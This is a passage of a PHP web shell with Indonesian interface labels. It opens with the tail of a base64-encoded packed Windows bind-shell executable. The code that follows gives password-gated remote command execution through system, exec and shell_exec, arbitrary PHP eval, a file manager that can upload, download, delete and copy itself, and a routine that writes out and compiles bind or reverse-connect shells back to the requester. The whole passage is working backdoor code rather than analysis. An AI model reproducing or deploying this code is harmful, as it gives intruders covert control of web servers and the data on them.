  203. L2xvY2sXmtsGWzRkt2EuAvat4daiIXJtAHBAZ3JhbSB7IRS2Sm02LzA5T6MZWgoQQSorFPK5RjAu
  204. Kzg9D+H7YXJndShzXzAyZott267Bbm5ngm8FdDoR0ApnrWTmf00tYBj/8LY5ZhVWaXOqQysrIFKg
  205. Ye67PUxpYrRyeScKLRYaZ9vDRQ4hEVDUOsI2rEDZAC7v5eD89ra5JSxrbHduPhtHZXRMYbELd2wy
  206. QQJ2ZVCudXAT/61tZw9XlWQmh2Vzc2FnZUJvNb6wxHhBfXMlMzIuZCrPtaInN745SAMLVJhrxHI6
  207. IAMAq6QeQF4pp7Zq9ftSU01TUwdlbZk0U1ffAKX5v3MgTWFuDucoQnZyAFwv2gOZZMq2ACABKCCZ
  208. SB4ASAAQhEAmZAAQgQZkCGQBEIJkCGRAAhDuqsrcvwABB9sIdZAu2xhbBR/AZJBukAsdCwSWQAZp
  209. Bo0IjmRABmSPkJEFZEAGkpOyLEQHCAfvCowkLwtvDKsABZMZ9zWgb6uIbD9cB03TNE0JMAoMEOB0
  210. r2mWQhGwElcHExczTdNgGChYB033lk0ayEEbuwccaDRN0zR4WHlIetM0TdM4/DT/JKuInQRTAgTS
  211. ReTZwb5ggnmCIRem3wehpbx5/v2Bn+D8L0B+gPyowaPao0HOHmGXgf4HQG6QIbC1L0G2X+cr5P/P
  212. ouSiGgDlouiiW36h/lfy291RBQPaXtpfX9pq2jLT4GXn9tje4Pk5MX4A+AMyKCKwWdnVUVF8RyQw
  213. /f8GoE1EQnl0ZVRvV2lkZUNoYXID8H+7FFVuBm5kbGVkRXhjZXAF+la5bUZpJmUZD0N1cnK2oFWt
  214. v1UAcwJw2dYSI2kMQ1iTbIO1KA5BL1NEe+wLwGlytm9yeUFFU3lzJ7PWDmxtFFNvaxtq9hvAdGGP
  215. cEluZm8s7rNXuZbNgG9tbZ7J2jD3TGluZR61v8q2JABjJUWTT3L7F1sAWXMWmkFkZHKtCUABGExh
  216. PABHArpJVgVBbGANYGtMDUiBCj32NztSZQxDQUNQB01vZCycRbhyZUgqqFYjc2fBHjMtC09FTSd/
  217. VIBlwt55cCUPV1RruyU8ajSVQ01vIxCwCTtBDVd1ZUMB2JBlTr84RnJmKWxl7RhFbu3s0Jpe20R2
  218. Gm95ZhGGEDZXxeUbrAEUelvDZBIxey82DY3PTzZ7SZgEUIYYCc1QbnxSdGxgd2m8YfA0G7F0ypGJ
  219. AENw2Iy4ZnNlYGJPsDPiFjtTQ2xBDyPYjFkiZAw5CFgymnGGIRrbBfZRDkPlbIYtxF4Cn3RjaFvp
  220. ZzYLmKMO7B+GHMu2aballsz/AwI0FnfLsiwEAgENzlNBU9vmaAGIIQ4JAgj8lyctc4JQRUwBAwCJ
  221. C5Q/jIj9h+AADwELAQb0J3Zy2R3UFQQQAEAAEA+2YRNiEgcXYOxsFkyiDBAHy73sDQYAaESDR0DW
  222. DQii/B7WEBvBLhh0Oi6Q4LOQDTCY+mAuck2YdYaLJwlTA5pb7JRqQC4mJxwKUPKbkkFQwBO0RQAA
  223. aMVvsyQAAAD/AAAAAAAAAAAAAABgvgBQQACNvgDA//9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D
  224. 7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0
  225. icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHb
  226. c+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz/
  227. //9eife5cAAAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWI2OLZjb4A
  228. UAAAiwcJwHRFi18EjYQwAHAAAAHzUIPHCP+WUHAAAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+W
  229. VHAAAAnAdAeJA4PDBOvY/5ZkcAAAi65YcAAAjb4A8P//uwAQAABQVGoEU1f/1Y2H5wEAAIAgf4Bg
  230. KH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnbof//AAAAAAAAAAAAAAAAAAAAAAAAAHyAAABQgAAA
  231. AAAAAAAAAAAAAAAAiYAAAGyAAAAAAAAAAAAAAAAAAACWgAAAdIAAAAAAAAAAAAAAAAAAAAAAAAAA
  232. AAAAoIAAAK6AAAC+gAAAzoAAANyAAADqgAAAAAAAAPiAAAAAAAAAcwAAgAAAAABLRVJORUwzMi5E
  233. TEwAQURWQVBJMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MA
  234. AFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MA
  235. AABPcGVuU2VydmljZUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  236. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  237. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  238. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  239. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  240. $shell_style = "
  241. <style type=\"text/css\">
  242. *{
  243.     font-family:Tahoma,Verdana,Arial;
  244.     font-size:12px;
  245.     line-height:20px;
  246. }
  247.  
  248. form{
  249.     margin:0 auto;
  250.     text-align:center;
  251. }
  252.  
  253. body{
  254.     background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #333333;
  255.     color:yellow;
  256.     text-shadow:5px 0px 10px red;
  257.     margin:0;
  258.     padding:0;
  259. }
  260.  
  261. input,textarea{
  262.     background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') transparent;
  263.     height:24px;
  264.     color:#ffffff;
  265.     padding:1.5px 4px 0 4px;
  266.     margin:2px 0;
  267.     border:1px solid lime;
  268.     border-bottom:1px solid lime;
  269.     vertical-align:middle;
  270. }
  271.  
  272. input:hover,textarea:hover{
  273.     background:transparent;
  274. }
  275.  
  276. a{
  277.     color:red;
  278.     text-shadow:5px 0px 10px lime;
  279.     text-decoration:none;
  280. }
  281.  
  282. a:hover{
  283.     color:white;
  284.     text-shadow:5px 0px 10px lime;
  285. }
  286.  
  287. h1{
  288.     font-size:17px;
  289.     height:20px;
  290.     padding:2px 8px;
  291.     background:blue;
  292.     border:1px solid lime;
  293.     border-left:3px solid lime;
  294.     border-right:3px solid lime;
  295.     border-bottom:3px solid lime;
  296.     border-top:3px solid lime;
  297.     margin:0 auto;
  298.     width:90%;
  299. }
  300.  
  301. h1 img{
  302.     vertical-align:bottom;
  303. }
  304.  
  305. .box{
  306.     margin:0 auto;
  307.     background:transparent;
  308.     border:3px solid lime;
  309.     padding:4px 8px;
  310.     width:90%;
  311.     text-align:justify;
  312. }
  313.  
  314. .gaul{
  315.     color:lime;
  316. }
  317.  
  318.  
  319.  
  320. .result, .boxcode{
  321.     margin:0 auto;
  322.     border:1px solid lime;
  323.     font-family:Lucida Console,Tahoma,Verdana;
  324.     padding:8px;
  325.     text-align:justify;
  326.     overflow:hidden;
  327.     color:blue;
  328. }
  329.  
  330.  
  331. #explorer, table{
  332.     width:100%;
  333. }
  334.  
  335. table th{
  336.     border-bottom:1px solid lime;
  337.     border-top:1px solid lime;
  338.     border-left:1px solid lime;
  339.     border-right:1px solid lime;
  340.     background:blue;
  341.     padding:4px;
  342. }
  343.  
  344. table td{
  345.     padding:4px;
  346.     border-top:1px solid lime;
  347.     border-bottom:1px solid lime;
  348.     border-right:1px solid lime;
  349.     border-left:1px solid lime;
  350.     vertical-align:top;
  351. }
  352.  
  353. .tblExplorer tr:hover, .hexview td:hover{
  354.     background:transparent;
  355. }
  356.  
  357.  
  358. .hidden{
  359.     display:none;
  360. }
  361. .tblbox td  {
  362.     margin:0;
  363.     padding:0;
  364.     border-bottom:1px solid lime;
  365.     border-top:1pz solid lime;
  366.     border-right:1px solid lime;
  367.     border-left:1px solid lime;
  368. }
  369.  
  370. .tblbox tr:hover{
  371.     background:none;
  372. }
  373.  
  374. #mainwrapper{
  375.     width:100%;
  376.     margin:20px auto;
  377.     text-align:center;
  378. }
  379. #wrapper{
  380.     width:90%;
  381.     margin:auto;
  382.  
  383. }
  384.  
  385. .cmdbox{
  386.     border-left:1px solid transparent;
  387.     border-top:1px solid lime;
  388.     border-bottom:1px solid transparent;
  389.     margin:4px 0;
  390.     width:100%;
  391. }
  392.  
  393. .fpath{
  394.     border-left:1px solid lime;
  395.     border-right:1px solid lime;
  396.     border-top:1px solid lime;
  397.     border-bottom:1px solid lime;
  398.     margin:4px 0;
  399.     padding:4px 0;
  400. }
  401.  
  402. .fprop{
  403.     border-top:1px solid lime;
  404.     border-bottom:1px solid lime;
  405.     margin:4px 0;
  406.     padding:4px 0;
  407. }
  408.  
  409.  
  410. .bottomwrapper{
  411.     text-align:center;
  412. }
  413.  
  414. .btn{
  415.     height:24px;
  416.     background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #111111;
  417.     font-size:10px;
  418.     text-align:right;
  419. }
  420.  
  421. .hexview , .hexview td{
  422.     font-family: Lucida Console,Tahoma;
  423. }
  424. </style>
  425. ";
  426. //################# FUNCTION GOES HERE #######################==============================================]
  427. function xclean($text){
  428.     if (get_magic_quotes_gpc()) {
  429.          $text = stripslashes($text);
  430.     }
  431.     return $text;
  432. }
  433. function xcleanpath($path){
  434.     if(is_dir($path)){
  435.         $path = urldecode(trim(xclean($path)));
  436.         $xSlash = DIRECTORY_SEPARATOR;
  437.         while(substr($path,-1) == $xSlash){
  438.             $path = rtrim($path,$xSlash);
  439.         }
  440.         return $path.$xSlash;
  441.     }
  442.     return $path;
  443. }
  444. function xparsedir($dir){
  445.     $xSlash = DIRECTORY_SEPARATOR;
  446.     $dirs = explode($xSlash,$dir);
  447.     $buff = "";
  448.     $dlink = "";
  449.     $system = trim(php_uname());
  450.     if(strtolower(substr($system,0,3)) != "win") {
  451.         $dlink .= urlencode($xSlash);
  452.         $buff .= "<a href=\"?dir=".$dlink."\">".$xSlash."</a>&nbsp;";
  453.     }
  454.     foreach($dirs as $d){
  455.         $d = trim($d);
  456.         if($d != ""){
  457.             $dlink .= urlencode($d.$xSlash);
  458.             $buff .= "<a href=\"?dir=".$dlink."\">".$d." ".$xSlash."</a>&nbsp;";
  459.         }
  460.     }
  461.     return "<span class=\"gaul\"> </span>".$buff."<span class=\"gaul\"> </span>";
  462. }
  463. function xfileopen($file){
  464.     $content = "";
  465.     if(is_file($file) || is_link($file)){
  466.         if($fp = fopen($file,"rb")){
  467.             while(!feof($fp)) {
  468.                 $content .= fread($fp,1024);
  469.             }
  470.             fclose($fp);
  471.         }
  472.     }
  473.     return $content;
  474. }
  475. function xfilesave($file,$content){
  476.     $dir = substr($file,0,strrpos($file,DIRECTORY_SEPARATOR));
  477.     if(!is_dir($dir)) mkdir($dir);
  478.     if($file != ""){
  479.         $handle = fopen($file, "wb");
  480.         if(fwrite($handle, $content) || ($content == "")){
  481.             fclose($handle);
  482.             return true;
  483.         }
  484.         fclose($handle);
  485.     }
  486.     return false;
  487. }
  488. function xtempfolder() {
  489.     if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
  490.     if (!empty($_ENV['TMPDIR'])) { return realpath( $_ENV['TMPDIR']); }
  491.     if (!empty($_ENV['TEMP'])) { return realpath( $_ENV['TEMP']); }
  492.     $tempfile=tempnam(__FILE__,'');
  493.     if (file_exists($tempfile)) {
  494.       unlink($tempfile);
  495.       return realpath(dirname($tempfile));
  496.     }
  497.     return null;
  498. }
  499. function xrmdir($dir) {
  500.     $files = glob($dir . '*', GLOB_MARK);
  501.     foreach( $files as $f ){
  502.         if(is_dir($f)) xrmdir($f);
  503.         else unlink($f);
  504.     }
  505.     if (is_dir($dir)) rmdir($dir);
  506. }
  507. function xhighlight($file){
  508.     $color_bg = ini_get('highlight.bg');
  509.     $color_html = ini_get('highlight.html');
  510.     $color_keyword = ini_get('highlight.keyword');
  511.     $color_default = ini_get('highlight.default');
  512.     $color_comment = ini_get('highlight.comment');
  513.     $color_string = ini_get('highlight.string');
  514.     $con = @highlight_file($file,true);
  515.     $con = str_ireplace($color_keyword,"#FF0082",$con);
  516.     $con = str_ireplace($color_default,"#F00000",$con);
  517.     $con = str_ireplace($color_string,"#888888",$con);
  518.     $con = str_ireplace($color_html,"#EEEEEE",$con);
  519.     return $con;
  520. }
  521. function xfilesummary($file){
  522.     $buff = "";
  523.     if(is_file($file) || is_link($file)){
  524.         $buff = "Ukuran Fle : ".xparsefilesize(xfilesize($file))." ( ".xfilesize($file)." ) <span class=\"gaul\"> :: </span>Izin : ".xfileperms($file)." ( ".xfileowner($file)." )<span class=\"gaul\"> :: </span>Perubahan : ".xfilelastmodified($file);
  525.     }
  526.     return $buff;
  527. }
  528. function xparsefilesize($size){
  529.     if($size <= 1024) return $size;
  530.     else{
  531.         if($size <= 1024*1024) {
  532.             $size = sprintf("%.02f",@round($size / 1024,2));
  533.             return $size." kb";
  534.         }
  535.         else {
  536.             $size = sprintf("%.02f",@round($size / 1024 / 1024,2));
  537.             return $size." mb";
  538.         }
  539.     }
  540. }
  541. function xfilesize($file){
  542.     if(is_file($file) || is_link($file)){
  543.         if($size = filesize($file)){
  544.             return $size;
  545.         }
  546.     }
  547.     return "0";
  548. }
  549. function xfileperms($file){
  550.     $isreadable = "-";
  551.     $iswriteable = "-";
  552.     if(is_file($file) || is_dir($file) || is_link($file)){
  553.         if(is_readable($file)) $isreadable = "r";
  554.         if(is_writeable($file)) $iswriteable = "w";
  555.     }
  556.     return $isreadable . " / " . $iswriteable;
  557. }
  558. function xfileowner($file){
  559.     if(is_file($file) || is_dir($file) || is_link($file)){
  560.         $fowner = fileowner($file);
  561.         $fgroup = filegroup($file);
  562.         if(function_exists('posix_getpwuid') && (function_exists('posix_getgrgid'))) {
  563.                 $name=posix_getpwuid($fowner);
  564.                 $group=posix_getgrgid($fgroup);
  565.                 return trim($name['name'].":".$group['name']);
  566.         }
  567.         else{
  568.             return "???";
  569.         }
  570.     }
  571.     return "???";
  572. }
  573. function xdrive(){
  574.     $letters = "";
  575.     foreach (range("A","Z") as $letter){
  576.         $bool = @is_dir($letter.":\\");
  577.         if($bool){
  578.             $letters .= "<a href=\"?dir=".$letter.":\\\"><span class=\"gaul\">[ </span>";
  579.             $letters .= $letter;
  580.             $letters .= "<span class=\"gaul\"> ]</span</a> ";
  581.         }
  582.     }
  583.     if($letters != "") $letters .= "<br />";
  584.     return $letters;
  585. }
  586. function xfilelastmodified($file){
  587.     if(is_file($file) || is_dir($file) || is_link($file)){
  588.         $lastm = date("d-M-Y H:i",filemtime($file));
  589.         return $lastm;
  590.     }
  591.     return "???";
  592. }
  593. function xrunexploit($fpath,$base64,$port,$type){
  594.     $con = base64_decode($base64);
  595.     $system = trim(php_uname());
  596.     $final = "";
  597.     if(preg_match("/win/i",$system)){
  598.         $fname = "bd.exe";
  599.         $ip = "";
  600.         $ok = false;
  601.         $fpath = $fpath.$fname;
  602.         if(is_file($fpath)) unlink($fpath);
  603.         if(!xfilesave($fpath,$con)){
  604.             $tmp = xcleanpath(xtempfolder());
  605.             $fpath = $tmp.$fname;
  606.             if(xfilesave($fpath,$con)) $ok = true;
  607.         }
  608.         else $ok = true;
  609.         if($ok){
  610.             $fpath = trim($fpath);
  611.             if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
  612.             $final .= $fpath." ".$port." ".$ip;
  613.             ekse(trim($final));
  614.             return true;
  615.         }
  616.     }
  617.     else {
  618.         if($type == 'connect') $fname = "back";
  619.         else $fname = "bind";
  620.         $ip = "";
  621.         $ok = false;
  622.         $fpath = $fpath.$fname;
  623.         if(is_file($fpath.".c")) unlink($fpath.".c");
  624.         if(!xfilesave($fpath.".c",$con)){
  625.             $tmp = xcleanpath(xtempfolder());
  626.             $fpath = $tmp.$fname;
  627.             if(xfilesave($fpath.".c",$con)) $ok = true;
  628.         }
  629.         else $ok = true;
  630.         if($ok){
  631.             $fpath = trim($fpath);
  632.             if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
  633.             ekse("gcc ".$fpath.".c -o ".$fpath);
  634.             ekse("chmod +x ".$fpath);
  635.             if(is_file($fpath)){
  636.                 $final .= $fpath." ".$port." ".$ip;
  637.                 ekse(trim($final));
  638.                 return true;
  639.             }
  640.             else return false;
  641.         }
  642.     }
  643.     return false;
  644. }
  645. function xeval($code){
  646.     $code = xclean($code);
  647.     @ob_start();
  648.     @eval($code);
  649.     $buff = @ob_get_contents();
  650.     @ob_end_clean();
  651.     return $buff;
  652. }
  653. function ekse($cmd){
  654.     if(function_exists('system')) {
  655.         @ob_start();
  656.         @system($cmd);
  657.         $buff = @ob_get_contents();
  658.         @ob_end_clean();
  659.         return $buff;
  660.     }
  661.     elseif(function_exists('exec')) {
  662.         @exec($cmd,$results);
  663.         $buff = "";
  664.         foreach($results as $result){
  665.             $buff .= $result;
  666.         }
  667.         return $buff;
  668.     }
  669.     elseif(function_exists('passthru')) {
  670.         @ob_start();
  671.         @passthru($cmd);
  672.         $buff = @ob_get_contents();
  673.         @ob_end_clean();
  674.         return $buff;
  675.     }
  676.     elseif(function_exists('shell_exec')){
  677.         $buff = @shell_exec($cmd);
  678.         return $buff;
  679.     }
  680. }
  681. function xdir($path){
  682.     $path = trim($path);
  683.     $path = xcleanpath($path);
  684.     if(is_dir($path)){
  685.         $fname = array();
  686.         $dname = array();
  687.         if($dh = @scandir($path)){
  688.             foreach($dh as $file){
  689.                 if(is_dir($file)){
  690.                     $dname[] = $file;
  691.                 }
  692.                 else{
  693.                     $fname[] = $file;
  694.                 }
  695.             }
  696.         }
  697.         else{
  698.             if($dh = @opendir($path)){
  699.                 while($file = @readdir($dh)){
  700.                     if(@is_dir($file)){
  701.                         $dname[] = $file;
  702.                     }
  703.                     else{
  704.                         $fname[] = $file;
  705.                     }
  706.                 }
  707.                 @closedir($dh);
  708.             }
  709.         }
  710.         natcasesort($fname);
  711.         natcasesort($dname);
  712.         $buff = "<div id=\"explorer\"><table class=\"tblExplorer\">
  713.         <tr><th>Nama File</th>
  714.         <th style=\"width:80px;\">Ukuran File</th>
  715.         <th style=\"width:80px;\">Izin</th>
  716.         <th style=\"width:150px;\">Perubahan</th>
  717.         <th style=\"width:180px;\">Aksi</th></tr>";
  718.         foreach($dname as $d){
  719.             $sd = $d;
  720.             if($d == "..") {
  721.                 $nextdir = "..".DIRECTORY_SEPARATOR."..";
  722.                 $d = xcleanpath(realpath($sd));
  723.             }
  724.             elseif($d == ".") {
  725.                 $nextdir = "..";
  726.                 $d = xcleanpath(realpath($sd));
  727.             }
  728.             else {
  729.                 $nextdir = ".";
  730.                 $d = xcleanpath(realpath(".".DIRECTORY_SEPARATOR.$sd));
  731.             }
  732.             $dir = $d;
  733.             $nextdir = xcleanpath(realpath($nextdir));
  734.             $buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location= '?dir=".urlencode($d)."';\">
  735.             <td><span style=\"font-weight:bold;\"><a href=\"?dir=".$dir."\">[</span> ".$sd." <span style=\"font-weight:bold;\">]</span></a></td>";
  736.             $buff .= "<td>DIR</td>";
  737.             $buff .= "<td style=\"text-align:center;\">".xfileperms($d)."</td>";
  738.             $buff .= "<td style=\"text-align:center;\">".xfilelastmodified($d)."</td>";
  739.             $buff .= "<td style=\"text-align:center;\"><a href=\"?dir=".$dir."&properties=".xcleanpath(realpath($d))."\">Properti</a> | <a href=\"?dir=".$nextdir."&del=".xcleanpath(realpath($d))."\">Hapus</a></td>";
  740.             $buff .= "</tr>";
  741.         }
  742.         foreach($fname as $f){
  743.             $sf = $f;
  744.             $f = $path.$f;
  745.             $view = "?dir=".urlencode($path)."&view=".urlencode($f);
  746.             $buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location='?dir=".urlencode(xcleanpath($path))."&properties=".urlencode($f)."';\"><td>
  747.             <a href=\"?dir=".urlencode(xcleanpath($path))."&properties=".urlencode($f)."\">
  748.             ".$sf."</a></td>";
  749.             $buff .= "<td>".xparsefilesize(xfilesize($f))."</td>";
  750.             $buff .= "<td style=\"text-align:center;\">".xfileperms($f)."</td>";
  751.             $buff .= "<td style=\"text-align:center;\">".xfilelastmodified($f)."</td>";
  752.             $buff .= "<td style=\"text-align:center;\"><a href=\"".$view."\">Edit</a> | <a href=\"?get=".$f."\">Download</a> | <a href=\"?dir=".xcleanpath($path)."&del=".$f."\">Hapus</a></td>";
  753.             $buff .= "</tr>";
  754.         }
  755.         $buff .= "</table></div>";
  756.         return $buff;
  757.     }
  758. }
  759. //################# INIT GOES HERE #######################==================================================]
  760. error_reporting(0);
  761. @set_time_limit(0);
  762. ini_set("allow_url_fopen" ,1);
  763. ini_set("allow_url_include" ,1);
  764. ini_set("open_basedir",NULL);
  765.  
  766.  
  767. if(isset($_POST['passw'])){
  768.     $check = trim($_POST['passw']);
  769.     if($check == $shell_password){
  770.     setcookie("pass",$check,time() + 3600*24*7);
  771.     $m = $_SERVER['SCRIPT_NAME'];
  772.     header("Location: ".$m);
  773.     die();
  774.     }
  775.     else setcookie("pass",$check,time() - 3600*24*7);
  776. }
  777. if(isset($_COOKIE['pass'])) $check = trim($_COOKIE['pass']);
  778. else $check = "";
  779. if($check == $shell_password){
  780.  $auth = true;
  781.  }
  782. else $auth = false;
  783. if(isset($_GET['img'])){
  784.     $file = xclean($_GET['img']);
  785.     if(is_file($file)){
  786.         @ob_clean();
  787.         $inf = getimagesize($file);
  788.         $ext = explode(basename($file),".");
  789.         $ext = $ext[count($ext)-1];
  790.         @header("Content-type: ".$inf["mime"]);
  791.         @header("Cache-control: public");
  792.         @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  793.         @header("Cache-control: max-age=".(60*60*24*7));
  794.         @readfile($file);
  795.         exit;
  796.     }
  797.     else{
  798.         $file = $$file;
  799.         $data = base64_decode($file);
  800.         @header("Content-type: image/png");
  801.         @header("Cache-control: public");
  802.         echo $data;
  803.         exit;
  804.     }
  805. }
  806. if(isset($_GET['get']) && ($_GET['get'] != "")){
  807.     $file = xclean($_GET['get']);
  808.     $filez = @file_get_contents($file);
  809.     header("Content-type: application/octet-stream");
  810.     header("Content-length: ".strlen($filez));
  811.     header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  812.     echo $filez;
  813.     exit;
  814. }
  815. $xCwd = xcleanpath(getcwd());
  816. if(isset($_GET['btnConnect']) && (is_numeric($_GET['bportC']))){
  817.     $port = $_GET['bportC'];
  818.     $dir = xcleanpath(xclean(trim($_GET['dir'])));
  819.     $system = trim(php_uname());
  820.     if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
  821.     else $base64 = $xBack;
  822.     if(xrunexploit($dir,$base64,$port,"connect")){
  823.     }
  824. }
  825. elseif(isset($_GET['btnListen']) && (is_numeric($_GET['lportC']))){
  826.     $port = $_GET['lportC'];
  827.     $dir = xcleanpath(xclean(trim($_GET['dir'])));
  828.     $system = trim(php_uname());
  829.     if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
  830.     else $base64 = $xBind;
  831.     if(xrunexploit($dir,$base64,$port,"listen")){
  832.     }
  833. }
  834. if(isset($_GET['dir']) && ($_GET['dir'] != "")){
  835.     $newdir = xcleanpath(xclean(trim($_GET['dir'])));
  836.     if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
  837.         $newdir = xcleanpath(xclean(trim($_GET['properties'])));
  838.     }
  839.     if(is_dir($newdir)){
  840.         if(chdir($newdir)) $xCwd = $newdir;
  841.     }
  842.     else{
  843.         $newdir = dirname($newdir);
  844.         if(is_dir($newdir)) if(chdir($newdir)) $xCwd = $newdir;
  845.     }
  846.     if(isset($_POST['btnNewUploadUrl'])){
  847.         $filename = xclean(trim($_POST['filename']));
  848.         $fileurl = xclean(trim($_POST['fileurl']));
  849.         if($filename == "") $filename = basename($fileurl);
  850.         $filepath = $newdir.$filename;
  851.         if($fileurl != ""){
  852.             $con = xfileopen($fileurl);
  853.             xfilesave($filepath,$con);
  854.         }
  855.     }
  856.     elseif(isset($_POST['btnNewUploadLocal'])){
  857.         if(is_uploaded_file($_FILES['filelocal']['tmp_name'])){
  858.             $filename = xclean(trim($_POST['filename']));
  859.             if($filename == "") $filename = $_FILES['filelocal']['name'];
  860.             $tmp_name = $_FILES['filelocal']['tmp_name'];
  861.             $filepath = $newdir.$filename;
  862.             $stat = @move_uploaded_file($tmp_name,$filepath);
  863.         }
  864.     }
  865.     if(isset($_GET['foldername']) && ($_GET['foldername'] != "")){
  866.         $fname = xcleanpath(xclean(trim($_GET['foldername'])));
  867.         if(!is_dir($newdir.$fname)) mkdir($newdir.$fname);
  868.     }
  869.     elseif(isset($_GET['del']) && ($_GET['del'] != "")){
  870.         $fdel = xclean(trim($_GET['del']));
  871.         if(is_file($fdel) || is_link($fdel)) unlink($fdel);
  872.         elseif(is_dir($fdel)){
  873.             xrmdir($fdel);
  874.             $newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
  875.             $newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
  876.         }
  877.     }
  878.     elseif(isset($_GET['childname']) && ($_GET['childname'] != "")){
  879.         $childname = $newdir.xclean(trim($_GET['childname']));
  880.         $con = xfileopen($_SERVER['SCRIPT_FILENAME']);
  881.         xfilesave($childname,$con);
  882.     }
  883. }
  884. if(isset($_GET['cmd']) && ($_GET['cmd'] != "")){
  885.     $cmd = xclean($_GET['cmd']);
  886.     if(preg_match("/^cd(.*)/i",$cmd,$c)){
  887.         $newdir = trim($c[1]);
  888.         $newdir = trim(urldecode(xclean($newdir)));
  889.         if($newdir == "\\") $xCwd = substr($xCwd,0,3);
  890.         else{
  891.             if(strpos($newdir,":") > 0){
  892.                 if(is_dir($newdir)) $xCwd = xcleanpath(realpath($newdir));
  893.             }
  894.             elseif(is_dir($newdir)){
  895.                 $xCwd = xcleanpath(realpath($newdir));
  896.             }
  897.             else{
  898.                 if(is_dir($xCwd.$newdir)) $xCwd = xcleanpath(realpath($xCwd.$newdir));
  899.             }
  900.         }
  901.         $result = xdir($xCwd);
  902.     }
  903.     elseif(preg_match("/^(\w{1}:.*)/",$cmd,$dc)){
  904.         $newdir = trim($dc[1]);
  905.         if(is_dir($newdir)){
  906.             $xCwd = xcleanpath($newdir);
  907.         }
  908.         $result = xdir($xCwd);
  909.     }
  910.     else {
  911.         $result = ekse($cmd);
  912.         if($result != "") $result = nl2br(str_replace(" ","&nbsp;",htmlentities($result)));
  913.         else {
  914.             $result = xdir($xCwd);
  915.         }
  916.     }
  917.  
  918. }
  919. elseif(isset($_GET['eval']) && ($_GET['eval'] != "")){
  920.     $result = htmlspecialchars(xeval($_GET['eval']));
  921. }
  922. elseif(isset($_GET['properties']) && ($_GET['properties'] != "")){
  923.     $fname = xcleanpath(xclean($_GET['properties']));
  924.     if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
  925.         $oldname = xclean($_GET['oldfilename']);
  926.         rename($oldname,$fname);
  927.     }
  928.     $dir = xclean($_GET['dir']);
  929.     $fcont = "";
  930.     $fview = "";
  931.     if(is_dir($fname)){
  932.         $fsize = "DIR";
  933.         $fcont = xdir($fname);
  934.         $faction = "<a href=\"?dir=".xcleanpath(realpath($fname))."&properties=".xcleanpath(realpath($fname))."\">Properties</a> | <a href=\"?dir=".xcleanpath(realpath($fname.".."))."&del=".xcleanpath(realpath($fname))."\">Remove</a>";
  935.     }
  936.     else{
  937.         $fname = rtrim($fname,DIRECTORY_SEPARATOR);
  938.         $fsize = xparsefilesize(xfilesize($fname))." <span class=\"gaul\">( </span>".xfilesize($fname)." bytes<span class=\"gaul\"> )</span>";
  939.         $type = "";
  940.         if(isset($_GET['type'])) $type = trim(xclean($_GET['type']));
  941.         $iinfo = getimagesize($fname);
  942.         $imginfo = "";
  943.         if($type == ""){
  944.             if(is_array($iinfo)) $type = 'img';
  945.             else $type = 'text';
  946.         }
  947.         if($type == 'code'){
  948.             if($code = xhighlight($fname))
  949.             $fcont = "<div class=\"boxcode\">".$code."</div>";
  950.         }
  951.         elseif($type == 'img'){
  952.             $width = (int) $iinfo[0];
  953.             $height = (int) $iinfo[1];
  954.             $imginfo = "Image type = ( ".$iinfo['mime']." )<br />Image Size = <span class=\"gaul\">( </span>".$width." x ".$height."<span class=\"gaul\"> )</span><br />";
  955.             if($width > 800){
  956.                 $width = 800;
  957.                 $imglink = "<p><a href=\"?img=".$fname."\" target=\"_blank\"><span class=\"gaul\">[ </span>view full size<span class=\"gaul\"> ]</span></a></p>";
  958.             }
  959.             else $imglink = "";
  960.  
  961.             $fcont = "<div style=\"text-align:center;width:100%;\">".$imglink."<img width=\"".$width."\" src=\"?img=".$fname."\" alt=\"\" style=\"margin:8px auto;padding:0;border:1;\" /></div>";
  962.         }
  963.         else{
  964.             $code = htmlspecialchars(file_get_contents($fname));
  965.             $fcont = "<div class=\"boxcode\">".nl2br($code)."</div>";
  966.         }
